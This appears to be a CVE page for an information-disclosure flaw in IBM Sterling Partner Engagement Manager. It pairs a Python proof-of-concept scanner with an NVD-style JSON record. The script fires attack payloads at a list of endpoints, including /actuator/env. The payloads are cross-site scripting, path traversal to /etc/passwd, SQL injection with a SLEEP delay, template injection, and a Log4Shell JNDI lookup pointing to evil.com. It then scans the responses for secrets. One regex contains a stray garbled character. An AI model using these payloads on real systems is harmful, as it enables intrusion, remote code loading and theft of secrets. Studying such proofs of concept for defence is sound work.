CVE-2025-13726

# CVE-2025-13726 PoC - Information Disclosure via Error Messages # Target: IBM Sterling Partner Engagement Manager # This PoC demonstrates how to trigger detailed error messages import requests import re from urllib.parse import urljoin TARGET_URL = "https://target-server.example.com:8443" CVE_ID = "CVE-2025-13726" def test_error_message_disclosure(): """Test for CVE-2025-13726 Information Disclosure vulnerability""" # Common endpoints that may expose sensitive information test_endpoints = [ "/partnerEngagement", "/api/partner", "/ SterlingPartnerEngagement", "/web/partner", "/jsp/error.jsp", "/static/error.html", "/health", "/actuator/env" ] # Payloads to trigger error conditions payloads = [ {"id": "<script>alert('XSS')</script>"}, {"id": "../../../../etc/passwd"}, {"id": "' OR '1'='1"}, {"id": "999999999999999999"}, {"id": "null"}, {"id": "{{7*7}}"}, {"name": "${jndi:ldap://evil.com/a}"}, {"filter": "test' AND SLEEP(5)--"} ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-13726-Scanner/1.0)", "Accept": "application/json, text/html" } vulnerable = False findings = [] print(f"[*] Scanning for {CVE_ID}") print(f"[*] Target: {TARGET_URL}") for endpoint in test_endpoints: url = urljoin(TARGET_URL, endpoint) # Test with various payloads for payload in payloads: try: response = requests.get( url, params=payload, headers=headers, timeout=10, verify=False ) # Check for sensitive information in response sensitive_patterns = [ r"java\.lang\..*Exception", r"at\s+[\w\.]+\([\w\.]+\.java:\d+\)", r"SQLException", r"StackTrace", r"\.class\.getResource", r"/home/[\w]+/", r"C:\\[\\w\\]+\\", r"password|secret|key\s*=\s*['\"][^'\"жа]+['\"]", r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}", r"version\s*[:=]\s*[\d\.]+", r"at\s+org\.apache", r"at\s+org\.springframework" ] for pattern in sensitive_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: vulnerable = True findings.append({ "url": url, "payload": str(payload), "pattern": pattern, "matches": matches[:5] # Limit matches shown }) print(f"[!] Potential vulnerability found at {url}") print(f" Payload: {payload}") print(f" Matched: {matches[:3]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed for {url}: {e}") # Generate report if vulnerable: print(f"\n[!] {CVE_ID} - Information Disclosure Vulnerability CONFIRMED") print(f"[!] Found {len(findings)} potential information leaks") return findings else: print(f"\n[*] No obvious vulnerability indicators found") print(f"[*] Manual testing recommended") return [] if __name__ == "__main__": results = test_error_message_disclosure() # Save results import json with open(f"{CVE_ID}_scan_results.json", "w") as f: json.dump(results, f, indent=2) print(f"\n[*] Results saved to {CVE_ID}_scan_results.json")

{"cve": {"id": "CVE-2025-13726", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:48.870", "lastModified": "2026-03-18T20:28:22.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow a remote attacker to obtain sensitive information when detailed technical error messages are returned. This information could be used in further attacks against the system."}, {"lang": "es", "value": "IBM Sterling Partner Engagement Manager 6.2.3.0 a 6.2.3.5 y 6.2.4.0 a 6.2.4.2 podría permitir a un atacante remoto obtener información sensible cuando se devuelven mensajes de error técnicos detallados. Esta información podría ser utilizada en ataques posteriores contra el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:essentials:*:*:*", "versionStartIncluding": "6.2.3", "versionEndExcluding": "6.2.3.6", "matchCriteriaId": "687DC91A-7A4C-4FF2-8E23-65C8CDC5F52D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:standard:*:*:*", "versionStartIncluding": "6.2.3", "versionEndExcluding": "6.2.3.6", "matchCriteriaId": "7D427503-5EF4-485A-8073-C6C0B5723C2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:essentials:*:*:*", "versionStartIncluding": "6.2.4", "versionEndExcluding": "6.2.4.3", "matchCriteriaId": "AB87CB0E-55B9-4C72-A592-C7E162A10C63"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:standard:*:*:*", "versionStartIncluding": "6.2.4", "versionEndExcluding": "6.2.4.3", "matchCriteriaId": "C07A609D-EF2B-423D-8006-B75E33C858D8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7263391", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}